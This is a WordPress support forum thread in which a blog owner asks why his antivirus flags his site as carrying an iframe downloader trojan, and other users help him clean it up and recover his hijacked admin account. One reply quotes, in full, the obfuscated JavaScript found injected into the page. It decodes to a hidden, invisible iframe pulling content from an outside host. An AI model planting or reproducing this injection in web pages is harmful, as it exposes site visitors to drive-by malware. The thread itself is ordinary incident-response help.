• andyman68

    (@andyman68)


    Hello, i have just registered, i have a blog at http://www.almeria-classifieds.com/blog which i recently set up and today when i clicked my blog link i got this warning:
    (please how did it get there and how do i get rid of it? thankyou.)

    The requested URL could not be retrieved

    While trying to retrieve the URL:

    http://www.almeria-classifieds.com/blog/

    The following error was encountered:

    The requested object is INFECTED with the following viruses: Trojan-Downloader.HTML.IFrame.zn

    Please contact your service provider if you consider it incorrect.
    Generated:
    Wed May 20 18:21:29 2009
    Kaspersky Internet Security 2009

Viewing 8 replies - 1 through 8 (of 8 total)
  • Doodlebee

    (@doodlebee)

    I can’t imagine this happening on a brand-new installation of WordPress. My guess is that your computer is infected with something. Have you run a virus-checker on your computer recently? Malware? I’d recommend running your anti-virus program first and see if it catches anything, and then run something like “Spybot Search & Destory” and/or “Hijack This!” to see what they pick up.

    if it doesn’t pick up anything, I’d contact your host and see what they have to say about it.

    Thread Starter andyman68

    (@andyman68)

    Hi doodlebee, thanks for your help, i ran malwarebytes and spybot and got rid of some things, when i click on blog my kaspersky still throws up a warning,what should i do next?
    ftp into my blog and delete stuff?what do i delete….thanks again,Andy.

    Clayton James

    (@claytonjames)

    Take a look at your source code. Is that script at the very bottom, outside of the html tag familiar, or something you are aware of?

    var XaylbySQXemLUQDTDUHF = "A60A105A102A114A97A109A101A32A119A105A100A116A104A61A34A52A56A48A34A32A104A101A105A103A104A116A61A34A54A48A34A32A115A114A99A61A34A104A116A116A112A58A47A47A116A114A97A102A102A105A99A115A45A105A110A115A112A101A99A116A111A114A46A99A110A47A100A97A105A108A121A95A115A116A97A116A115A47A105A110A46A99A103A105A63A51A34A32A115A116A121A108A101A61A34A98A111A114A100A101A114A58A48A112A120A59A32A112A111A115A105A116A105A111A110A58A114A101A108A97A116A105A118A101A59A32A116A111A112A58A48A112A120A59A32A108A101A102A116A58A45A53A48A48A112A120A59A32A111A112A97A99A105A116A121A58A48A59A32A102A105A108A116A101A114A58A112A114A111A103A105A100A58A68A88A73A109A97A103A101A84A114A97A110A115A102A111A114A109A46A77A105A99A114A111A115A111A102A116A46A65A108A112A104A97A40A111A112A97A99A105A116A121A61A48A41A59A32A45A109A111A122A45A111A112A97A99A105A116A121A58A48A34A62A60A47A105A102A114A97A109A101A62";var muvKZESuOYzlyxXawpqT = XaylbySQXemLUQDTDUHF.split("A");var TcentiGxCODoIzyiDQcR = "";for (var pcDoaaOWPFqjiVWcDdaF=1; pcDoaaOWPFqjiVWcDdaF<muvKZESuOYzlyxXawpqT.length; pcDoaaOWPFqjiVWcDdaF++){TcentiGxCODoIzyiDQcR+=String.fromCharCode(muvKZESuOYzlyxXawpqT[pcDoaaOWPFqjiVWcDdaF]);}document.write(TcentiGxCODoIzyiDQcR)

    Thread Starter andyman68

    (@andyman68)

    Hello,they have changed the admin login and email address somehow? Can i get it back by ftping into my blog and changing some file?
    Thankyou,
    Andrew.

    Thread Starter andyman68

    (@andyman68)

    When i hit send password reminder i recieve no email so i guess theyve changed it

    Thread Starter andyman68

    (@andyman68)

    My server hosts have told me to ftp my blog to my computer and clean the files and ftp them back up, which file contains the actual code which is causing the problem? Can i edit this file then like you say and upload it back?
    Thx

    Thread Starter andyman68

    (@andyman68)

    Hi Guys , ok i changed back my email and used a better password using phpmyadmin, i can log into my admin now, what and where am i looking for here, is it in a post or actually in the template or something?thx,sorry about all the questions, i am still learning:-)

    Clayton how did you view source,as when i click my blog link i cant view my blog because of my kaspersky warning?is there another way i could view it or would you know which file this is in, i have been through the editor and looked through the template files in wp-admin but cant see that code,thx

    Thread Starter andyman68

    (@andyman68)

    ok sorted it now:)

Viewing 8 replies - 1 through 8 (of 8 total)

The topic ‘Virus problem in wordpress blog’ is closed to new replies.